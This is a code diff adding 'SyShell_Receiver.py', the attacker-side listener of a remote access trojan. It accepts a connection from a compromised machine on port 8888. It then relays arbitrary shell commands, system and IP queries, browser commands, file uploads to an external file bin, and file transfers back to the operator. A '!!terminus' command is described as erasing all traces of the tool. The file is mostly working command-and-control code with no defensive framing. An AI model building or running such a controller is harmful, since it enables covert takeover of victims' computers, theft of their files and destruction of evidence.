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Author: cmdsnr

SyShell_Receiver.py

@@ -0,0 +1,302 @@
+import socket
+import subprocess
+import os
+import time
+
+class Colors:
+    RESET = "\033[0m"
+    BLACK = "\033[30m"
+    RED = "\033[31m"
+    GREEN = "\033[32m"
+    YELLOW = "\033[33m"
+    BLUE = "\033[34m"
+    MAGENTA = "\033[35m"
+    CYAN = "\033[36m"
+    LIGHT_GRAY = "\033[37m"
+    DARK_GRAY = "\033[90m"
+    LIGHT_RED = "\033[91m"
+    LIGHT_GREEN = "\033[92m"
+    LIGHT_YELLOW = "\033[93m"
+    LIGHT_BLUE = "\033[94m"
+    LIGHT_MAGENTA = "\033[95m"
+    LIGHT_CYAN = "\033[96m"
+    WHITE = "\033[97m"
+    BRIGHT_BLACK = "\033[90m"
+    BRIGHT_RED = "\033[91m"
+    BRIGHT_GREEN = "\033[92m"
+    BRIGHT_YELLOW = "\033[93m"
+    BRIGHT_BLUE = "\033[94m"
+    BRIGHT_MAGENTA = "\033[95m"
+    BRIGHT_CYAN = "\033[96m"
+    BRIGHT_WHITE = "\033[97m"
+
+
+
+def Intro():
+    print(f"""{Colors.RED}
+░██████╗██╗░░░██╗░██████╗██╗░░██╗███████╗██╗░░░░░██╗░░░░░
+██╔════╝╚██╗░██╔╝██╔════╝██║░░██║██╔════╝██║░░░░░██║░░░░░
+╚█████╗░░╚████╔╝░╚█████╗░███████║█████╗░░██║░░░░░██║░░░░░
+░╚═══██╗░░╚██╔╝░░░╚═══██╗██╔══██║██╔══╝░░██║░░░░░██║░░░░░
+██████╔╝░░░██║░░░██████╔╝██║░░██║███████╗███████╗███████╗
+╚═════╝░░░░╚═╝░░░╚═════╝░╚═╝░░╚═╝╚══════╝╚══════╝╚══════╝
+          {Colors.RESET}{Colors.BLUE}
+          Use "help" to get started.
+          By Sytaxus / cmdsnr.
+          {Colors.RESET}
+""")
+    sendSpecificCommandName('sysinfo')
+    print('\n')
+    
+"""
+ascii
+"""
+
+def tanker():
+    print(""" 
+    ░░░░░░███████ ]▄▄▄▄▄▄▄▄
+    ▂▄▅█████████▅▄▃▂        
+    [███████████████████]. 
+    ◥⊙▲⊙▲⊙▲⊙▲⊙▲⊙▲⊙◤.. 
+""")
+    
+def casht():
+    print(""" 
+⠀⠀⠀⠀⠀⠀⠀⠙⣿⣷⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
+⠀⠀⠀⠀⠀⠀⠀⠀⢺⣿⣿⡆⠀⠀⠀⠀⠀⠀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
+⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⡇⠀⠀⠀⠀⠀⠀⣾⢡⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢢⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀
+⠀⠀⠀⠀⠀⠀⠀⠀⠈⣿⣿⣷⡦⠀⠀⠀⠀⢰⣿⣿⣷⠀⠀⠀⠀⠀⠀⠀⠀⠃⣠⣾⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀
+⠀⠀⠀⠀⠀⠀⠀⠀⠀⢻⣿⣿⣿⣆⠀⠀⠀⣾⣿⣿⣿⣷⠄⠀⠰⠤⣀⠀⠀⣴⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀
+⠀⠀⠀⠀⠀⠀⠀⠀⠃⢺⣿⣿⣿⣿⡄⠀⠀⣿⣿⢿⣿⣿⣦⣦⣦⣶⣼⣭⣼⣿⣿⣿⠇⠀⠀⠀⠀⠀⠀⠀⠀⠀
+⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⢿⣿⣿⣿⣷⡆⠂⣿⣿⣞⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀
+⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⢙⣿⣿⣿⣿⣷⠸⣿⣿⣿⣿⣿⣿⠟⠻⣿⣿⣿⣿⡿⣿⣿⣷⠀⠀⠀⠀⠀⠀⠀⠀⠀
+⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠄⢿⣿⣿⣿⣿⡄⣿⣿⣿⣿⣿⣿⡀⢀⣿⣿⣿⣿⠀⢸⣿⣿⠅⠀⠀⠀⠀⠀⠀⠀⠀
+⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠸⣿⣿⣿⣿⣇⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠁⠀⠀⠀⠀⠀⠀⠀⠀
+⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠠⢐⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠀⠀⠀⠀⠀⠀⠀⠀⠀
+⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⣤⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠟⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀
+⠀⠀⠀⠀⠀⠀⠀⢀⣴⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
+⠀⠀⠀⠀⠀⡀⣠⣾⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡔⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
+⠀⠀⠀⠀⠀⢁⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀
+⠀⠀⠀⠀⠠⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣄⠀⠀⠀⠀⠀⠀⠀⠀
+⠀⠀⠀⠀⣀⣶⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡄⠀⠀⠀⠀⠀⠀⠀
+⠀⠀⠀⠀⣻⣿⣿⣿⣿⣿⡟⠋⠙⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠙⢿⣿⣿⣿⣿⣿⣿⣄⠀⠀⠀⠀⠀⠀
+⠀⠀⠀⣿⣿⣿⣿⣿⡿⠋⠀⠀⠀⢿⣿⣿⣿⣿⣿⣿⠿⢿⡿⠛⠋⠁⠀⠀⠈⠻⣿⣿⣿⣿⣿⣿⣅⠀⠀⠀⠀⠀
+⠀⠀⠀⣿⣿⣿⣿⡟⠃⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠙⢻⣿⣿⣿⣿⣿⣤⡀⠀⠀⠀
+⠀⠜⢠⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⢿⣿⣿⣿⣿⣿⣗⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢻⣿⣿⣿⣿⣿⣦⠄⣠⠀
+⠠⢸⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⢀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⣿⣿⣿⣿⣿⣿⣿⣿
+⠀⠛⣿⣿⣿⡿⠏⠀⠀⠀⠀⠀⠀⢳⣾⣿⣿⣿⣿⣿⣿⡶⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿⣿⣿⣿⣿⣿
+⠀⢨⠀⠉⠉⠀⠀⠀⠀⠀⠀⠀⠀⠙⣿⣿⡿⡿⠿⠛⠙⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠹⠏⠉⠻⠿⠟⠁
+⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
+""")
+    
+def hashct():
+    print(f"""{Colors.BRIGHT_WHITE} 
+⠀⠀⠀⢠⣾⣷⣦⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
+⠀⠀⣰⣿⣿⣿⣿⣷⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
+⠀⢰⣿⣿⣿⣿⣿⣿⣷⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
+⢀⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⣦⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
+⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⣤⣀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
+⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣶⣤⣄⣀⣀⣤⣤⣶⣾⣿⣿⣿⡷
+⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠁
+⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠁⠀
+⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠏⠀⠀⠀
+⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠏⠀⠀⠀⠀
+⣿⣿⣿⡇⠀⡾⠻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠁⠀⠀⠀⠀⠀
+⣿⣿⣿⣧⡀⠁⣀⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀⠀⠀⠀
+⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡟⠉⢹⠉⠙⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀
+⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⣀⠀⣀⣼⣿⣿⣿⣿⡟⠀⠀⠀⠀⠀⠀⠀
+⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠋⠀⠀⠀⠀⠀⠀⠀⠀
+⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠛⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀
+⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠛⠀⠤⢀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀
+⣿⣿⣿⣿⠿⣿⣿⣿⣿⣿⣿⣿⠿⠋⢃⠈⠢⡁⠒⠄⡀⠈⠁⠀⠀⠀⠀⠀⠀⠀
+⣿⣿⠟⠁⠀⠀⠈⠉⠉⠁⠀⠀⠀⠀⠈⠆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
+⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⠀⠀⠀⠀⠀⠀{Colors.RESET}⠀⠀⠀⠀⠀⠀⠀⠀
+""")
+
+def greener():
+    print(f"""{Colors.GREEN} 
+⠀⠀⠀⠀⠀⠀⠀⢀⡀⠀⠀⠀⠀⢀⡀⠀⠀⠀⠀⢀⡀⠀⠀⠀⠀⠀⠀⠀
+⠀⠀⠀⠀⢀⣴⡾⠛⠛⠻⣶⣶⡿⠛⠛⢿⣶⣶⠟⠛⠛⢷⣦⡀⠀⠀⠀⠀
+⠀⠀⠀⠀⣾⠃⠀⣤⣴⠿⠀⣽⡇⠀⠀⢸⣯⠀⠿⣦⣤⠀⠘⣷⠀⠀⠀⠀
+⠀⠀⠀⠀⣿⡠⠾⠟⠛⣠⡾⠋⠀⠀⠀⠀⠙⢷⣄⠛⠻⠷⢄⣿⠀⠀⠀⠀
+⠀⠀⢀⣴⡿⣷⣴⡶⠟⠋⠀⠀⠀⠀⠀⠀⠀⠀⠙⠻⢶⣦⣾⢿⣦⡀⠀⠀
+⠀⣠⡿⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠙⢿⣄⠀
+⢰⡿⠁⢀⣴⡆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢰⣦⡀⠈⢿⡆
+⢺⡇⠀⣿⡿⣦⣄⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣠⣴⢿⣿⠀⢸⡗
+⠈⢿⣦⡉⠁⠈⠉⠛⠷⣶⣦⣤⣄⣀⣀⣠⣤⣴⣶⠾⠛⠉⠁⠈⢉⣴⡿⠁
+⠀⠀⠙⠻⣦⣄⠀⠀⠀⠀⠀⠈⠉⠉⠉⠉⠁⠀⠀⠀⠀⠀⣠⣴⠟⠋⠀⠀
+⠀⠀⠀⠀⠈⠻⣿⣶⣤⣀⠀⠀⠀⠀⠀⠀⠀⠀⣀⣤⡶⣿⡟⠁⠀⠀⠀⠀
+⠀⠀⠀⠀⠀⠀⢹⡇⠉⠙⠻⠷⢶⣶⣶⡶⠾⠟⠋⠉⢸⡟⠀⠀⠀⠀⠀⠀
+⠀⠀⠀⠀⠀⠀⠸⣧⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣸⡇⠀⠀⠀⠀⠀⠀
+⠀⠀⠀⠀⠀⠀⠀⠙⠻⣦⣤⣤⣀⣀⣀⣀⣠⣤⣴⠿⠋⠀⠀⠀⠀⠀⠀⠀
+⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠉⠉⠉⠉⠉⠉⠁⠀⠀⠀⠀⠀⠀{Colors.RESET}⠀⠀
+""")
+    print(f"{Colors.GREEN}Loading . . . .{Colors.RESET}")
+
+def pythonn():
+    print(f"""{Colors.YELLOW} 
+    ⠀⠀⠀⠀⠀⠀⠀⢀⣤⣴⣶⣶⣶⣶⣶⣦⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀
+    ⠀⠀⠀⠀⠀⠀⢀⣾⠟⠛⢿⣿⣿⣿⣿⣿⣿⣷⠀⠀⠀⠀⠀⠀⠀⠀
+    ⠀⠀⠀⠀⠀⠀⢸⣿⣄⣀⣼⣿⣿⣿⣿⣿⣿⣿⠀⢀⣀⣀⣀⡀⠀⠀
+    ⠀⠀⠀⠀⠀⠀⠈⠉⠉⠉⠉⠉⠉⣿⣿⣿⣿⣿⠀⢸⣿⣿⣿⣿⣦⠀
+    ⠀⣠⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⢸⣿⣿⣿⣿⣿⡇
+    ⢰⣿⣿⣿⣿⣿⣿⣿⣿⠿⠿⠿⠿⠿⠿⠿⠿⠋⠀⣼⣿⣿⣿⣿⣿⡇
+    ⢸⣿⣿⣿⣿⣿⡿⠉⢀⣠⣤⣤⣤⣤⣤⣤⣤⣴⣾⣿⣿⣿⣿⣿⣿⡇
+    ⢸⣿⣿⣿⣿⣿⡇⠀⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠀
+    ⠘⣿⣿⣿⣿⣿⡇⠀⣿⣿⣿⣿⣿⠛⠛⠛⠛⠛⠛⠛⠛⠛⠋⠁⠀⠀
+    ⠀⠈⠛⠻⠿⠿⠇⠀⣿⣿⣿⣿⣿⣿⣿⣿⠿⠿⣿⡇⠀⠀⠀⠀⠀⠀
+    ⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿⣿⣿⣿⣿⣿⣧⣀⣀⣿⠇⠀⠀⠀⠀⠀⠀
+    ⠀⠀⠀⠀⠀⠀⠀⠀⠘⢿⣿⣿⣿⣿⣿⣿⣿⡿⠋⠀⠀⠀⠀⠀{Colors.RESET}⠀⠀
+""")
+
+"""
+ascii end
+"""
+
+"""
+COMMANDS.
+"""
+def clear_screen():
+    if os.name == 'nt':
+        _ = os.system('cls')
+    else:
+        _ = os.system('clear')
+
+def manual():
+    command_available = ['echo','clear','cmd/exitcmd','!browser','filebin <BinID> <FilePath/FileName>','sysinfo : System Informations','exit','!!terminus (removes all traces of the tool in the session.)']
+
+    for index,command in enumerate(command_available):
+        print(f"{index + 1}. {command}\n")
+
+"""
+COMMANDS --- END
+"""
+
+
+"""
+SHELL
+"""
+    
+def send_command(command):
+    client_socket.send(command.encode())
+
+def receive_response():
+    return client_socket.recv(4096).decode()
+
+def sendSpecificCommandName(command):
+    send_command(command)
+    response =receive_response()
+    print(f"{response}")
+
+host = '0.0.0.0'
+port = 8888
+
+server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+server_socket.bind((host, port))
+server_socket.listen(1)
+print("Listening for incoming connections...")
+
+client_socket, client_address = server_socket.accept()
+print(f"Connection established with {client_address}")
+
+try:
+    clear_screen()
+    hashct()
+    userslash = None
+    while not userslash:
+        try:
+            userslash = input(f'{Colors.BRIGHT_CYAN}Enter your shell name:{Colors.RESET} ')
+            if not userslash: 
+                print("Shell name cannot be empty. Please try again.")
+        except Exception as e:
+            print(f'Error: {e}')
+            print("An error occurred. Please try again.")
+    
+    clear_screen()
+
+    greener()
+
+    time.sleep(5)
+    clear_screen()
+    Intro()
+
+    while True:
+        command_input = f"{Colors.BLUE}{userslash} >{Colors.RESET} "
+        command = input(command_input)
+        if command.lower() == 'exit':
+            send_command(command)
+            break
+        elif command.lower() == 'help':
+            clear_screen()
+            greener()
+            time.sleep(3)
+            clear_screen()
+            pythonn()
+            manual()
+        elif command.lower() == 'clear':
+            clear_screen()
+        elif command.lower() == 'getip':
+            send_command(command)
+            response =receive_response()
+            print(f"{response}")
+        elif command.lower() == 'sysinfo':
+            send_command(command)
+            response = receive_response()
+            print(f"{response}")
+        elif command.lower().startswith('echo '):
+            message = command[5:]
+            print(message)
+        elif command.startswith('!browser'):
+            print('Command sent.')
+            send_command(command)
+            response = receive_response()
+            print(f"reponse from winshell: {response}")
+        elif command.startswith("!!terminus"):
+            print("Command Sent.")
+            send_command(command)
+            response = receive_response()
+            print(f"Response: {response}")
+            break
+        elif command.lower() == 'cmd':
+            print("Entering CMD mode. Type 'exitcmd' to return.")
+            while True:
+                cmd_command = input(f"{Colors.MAGENTA}CMD >{Colors.RESET}")
+                if cmd_command.lower() == 'exitcmd':  
+                    break
+                if not cmd_command.strip():  
+                    print("No command entered. Try again.")  
+                    continue 
+                send_command(cmd_command)
+                response = receive_response()
+                print(response)
+        elif command.startswith('filebin'):
+            print(f"Sending upload command: {command}") 
+            send_command(command)
+            response = receive_response()  
+            print(f"Response: {response}")  
+        elif command.startswith('upload'):
+            _, filename = command.split(maxsplit=1)
+            client_socket.send(b"READY")  
+            file_size_str = client_socket.recv(1024).decode()
+            try:
+                file_size = int(file_size_str)
+                client_socket.send(b"ACK") 
+                
+                received_size = 0
+                with open(filename, 'wb') as f:
+                    while received_size < file_size:
+                        data = client_socket.recv(4096)
+                        if not data:
+                            break
+                        f.write(data)
+                        received_size += len(data)
+                print(f"File {filename} has been uploaded successfully.")
+            except ValueError:
+                print(f"Error: expected file size, received {file_size_str}")
+        else:
+            print("Unknown command. Please use 'help' to receive all of the commands.")
+finally:
+    client_socket.close()
+    server_socket.close()
+    print("Connection closed.")
+